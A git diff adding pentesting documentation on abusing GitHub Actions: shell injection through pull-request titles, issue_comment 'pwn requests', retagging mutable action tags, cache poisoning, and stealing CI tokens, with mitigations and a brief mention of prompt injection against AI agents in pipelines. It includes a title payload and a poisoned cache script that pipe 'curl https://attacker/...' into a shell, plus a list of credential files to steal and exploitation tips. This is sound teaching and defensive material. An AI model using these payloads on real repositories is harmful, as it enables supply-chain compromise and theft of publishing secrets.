diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md index b14826951..6af457cd6 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/README.md @@ -230,6 +230,20 @@ It might look like because the **executed workflow** is the one defined in the * An this one will have **access to secrets**. +#### YAML-to-shell injection & metadata abuse + +- All fields under `github.event.pull_request.*` (title, body, labels, head ref, etc.) are attacker-controlled when the PR originates from a fork. When those strings are injected inside `run:` lines, `env:` entries, or `with:` arguments, an attacker can break shell quoting and reach RCE even though the repository checkout stays on the trusted base branch. +- Recent compromises such as Nx S1ingularity and Ultralytics used payloads like `title: "release\"; curl https://attacker/sh | bash #"` that get expanded in Bash before the intended script runs, letting the attacker exfiltrate npm/PyPI tokens from the privileged runner. + +```yaml +steps: + - name: announce preview + run: ./scripts/announce "${{ github.event.pull_request.title }}" +``` + +- Because the job inherits write-scoped `GITHUB_TOKEN`, artifact credentials, and registry API keys, a single interpolation bug is enough to leak long-lived secrets or push a backdoored release. + + ### `workflow_run` The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`. @@ -255,6 +269,26 @@ TODO TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR +### `issue_comment` + +The `issue_comment` event runs with repository-level credentials regardless of who wrote the comment. When a workflow verifies that the comment belongs to a pull request and then checks out `refs/pull//head`, it grants arbitrary runner execution to any PR author that can type the trigger phrase. + +```yaml +on: + issue_comment: + types: [created] +jobs: + issue_comment: + if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary') + steps: + - uses: actions/checkout@v3 + with: + ref: refs/pull/${{ github.event.issue.number }}/head +``` + +This is the exact “pwn request” primitive that breached the Rspack org: the attacker opened a PR, commented `!canary`, the workflow ran the fork’s head commit with a write-capable token, and the job exfiltrated long-lived PATs that were later reused against sibling projects. + + ## Abusing Forked Execution We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused: @@ -426,6 +460,11 @@ If an account changes it's name another user could register an account with that If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/) +### Mutable GitHub Actions tags (instant downstream compromise) + +GitHub Actions still encourages consumers to reference `uses: owner/action@v1`. If an attacker gains the ability to move that tag—through automatic write access, phishing a maintainer, or a malicious control handoff—they can retarget the tag to a backdoored commit and every downstream workflow executes it on its next run. The reviewdog / tj-actions compromise followed exactly that playbook: contributors auto-granted write access retagged `v1`, stole PATs from a more popular action, and pivoted into additional orgs. + + --- ## Repo Pivoting @@ -435,7 +474,19 @@ If other repositories where using **dependencies from this user repos**, an atta ### Cache Poisoning -A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow. +GitHub exposes a cross-workflow cache that is keyed only by the string you supply to `actions/cache`. Any job (including ones with `permissions: contents: read`) can call the cache API and overwrite that key with arbitrary files. In Ultralytics, an attacker abused a `pull_request_target` workflow, wrote a malicious tarball into the `pip-${HASH}` cache, and the release pipeline later restored that cache and executed the trojanized tooling, which leaked a PyPI publishing token. + +**Key facts** + +- Cache entries are shared across workflows and branches whenever the `key` or `restore-keys` match. GitHub does not scope them to trust levels. +- Saving to the cache is allowed even when the job supposedly has read-only repository permissions, so “safe” workflows can still poison high-trust caches. +- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public. + +**Mitigations** + +- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination. +- Disable caching in workflows that process attacker-controlled input, or add integrity checks (hash manifests, signatures) before executing restored artifacts. +- Treat restored cache contents as untrusted until revalidated; never execute binaries/scripts directly from the cache. {{#ref}} gh-actions-cache-poisoning.md @@ -598,6 +649,24 @@ jobs: Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners). +### Systematic CI token exfiltration & hardening + +Once an attacker’s code executes inside a runner, the next step is almost always to steal every long-lived credential in sight so they can publish malicious releases or pivot into sibling repos. Typical targets include: + +- Environment variables (`NPM_TOKEN`, `PYPI_TOKEN`, `GITHUB_TOKEN`, PATs for other orgs, cloud provider keys) and files such as `~/.npmrc`, `.pypirc`, `.gem/credentials`, `~/.git-credentials`, `~/.netrc`, and cached ADCs. +- Package-manager lifecycle hooks (`postinstall`, `prepare`, etc.) that run automatically inside CI, which provide a stealthy channel to exfiltrate additional tokens once a malicious release lands. +- “Git cookies” (OAuth refresh tokens) stored by Gerrit, or even tokens that ship inside compiled binaries, as seen in the DogWifTool compromise. + +With a single leaked credential the attacker can retag GitHub Actions, publish wormable npm packages (Shai-Hulud), or republish PyPI artifacts long after the original workflow was patched. + +**Mitigations** + +- Replace static registry tokens with Trusted Publishing / OIDC integrations so each workflow gets a short-lived issuer-bound credential. When that is not possible, front tokens with a Security Token Service (e.g., Chainguard’s OIDC → short-lived PAT bridge). +- Prefer GitHub’s auto-generated `GITHUB_TOKEN` and repository permissions over personal PATs. If PATs are unavoidable, scope them to the minimal org/repo and rotate them frequently. +- Move Gerrit git cookies into `git-credential-oauth` or the OS keychain and avoid writing refresh tokens to disk on shared runners. +- Disable npm lifecycle hooks in CI (`npm config set ignore-scripts true`) so compromised dependencies can’t immediately run exfiltration payloads. +- Scan release artifacts and container layers for embedded credentials before distribution, and fail builds if any high-value token materializes. + ### AI Agent Prompt Injection & Secret Exfiltration in CI/CD LLM-driven workflows such as Gemini CLI, Claude Code Actions, OpenAI Codex, or GitHub AI Inference increasingly appear inside Actions/GitLab pipelines. As shown in [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), these agents often ingest untrusted repository metadata while holding privileged tokens and the ability to invoke `run_shell_command` or GitHub CLI helpers, so any field that attackers can edit (issues, PRs, commit messages, release notes, comments) becomes a control surface for the runner. @@ -732,6 +801,7 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All - [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents) - [OpenGrep PromptPwnd detection rules](https://github.com/AikidoSec/opengrep-rules) - [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases) +- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md index 52f5ffccb..019c70e09 100644 --- a/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md +++ b/src/pentesting-ci-cd/github-security/abusing-github-actions/gh-actions-cache-poisoning.md @@ -2,4 +2,53 @@ {{#include ../../../banners/hacktricks-training.md}} +## Overview +The GitHub Actions cache is global to a repository. Any workflow that knows a cache `key` (or `restore-keys`) can populate that entry, even if the job only has `permissions: contents: read`. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a `pull_request_target` workflow into the PyPI publishing pipeline. + +## Attack primitives + +- `actions/cache` exposes both restore and save operations (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). The save call is allowed for any job except truly untrusted `pull_request` workflows triggered from forks. +- Cache entries are identified solely by the `key`. Broad `restore-keys` make it easy to inject payloads because the attacker only needs to collide with a prefix. +- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path. + +## Example exploitation chain + +_Author workflow (`pull_request_target`) poisoned the cache:_ + +```yaml +steps: + - run: | + mkdir -p toolchain/bin + printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build + chmod +x toolchain/bin/build + - uses: actions/cache/save@v4 + with: + path: toolchain + key: linux-build-${{ hashFiles('toolchain.lock') }} +``` + +_Privileged workflow restored and executed the poisoned cache:_ + +```yaml +steps: + - uses: actions/cache/restore@v4 + with: + path: toolchain + key: linux-build-${{ hashFiles('toolchain.lock') }} + - run: toolchain/bin/build release.tar.gz +``` + +The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.). + +## Practical exploitation tips + +- Target workflows triggered by `pull_request_target`, `issue_comment`, or bot commands that still save caches; GitHub lets them overwrite repository-wide keys even when the runner only has read access to the repo. +- Look for deterministic cache keys reused across trust boundaries (for example, `pip-${{ hashFiles('poetry.lock') }}`) or permissive `restore-keys`, then save your malicious tarball before the privileged workflow runs. +- Monitor logs for `Cache saved` entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries. + +## References + +- [A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/) + +{{#include ../../../banners/hacktricks-training.md}}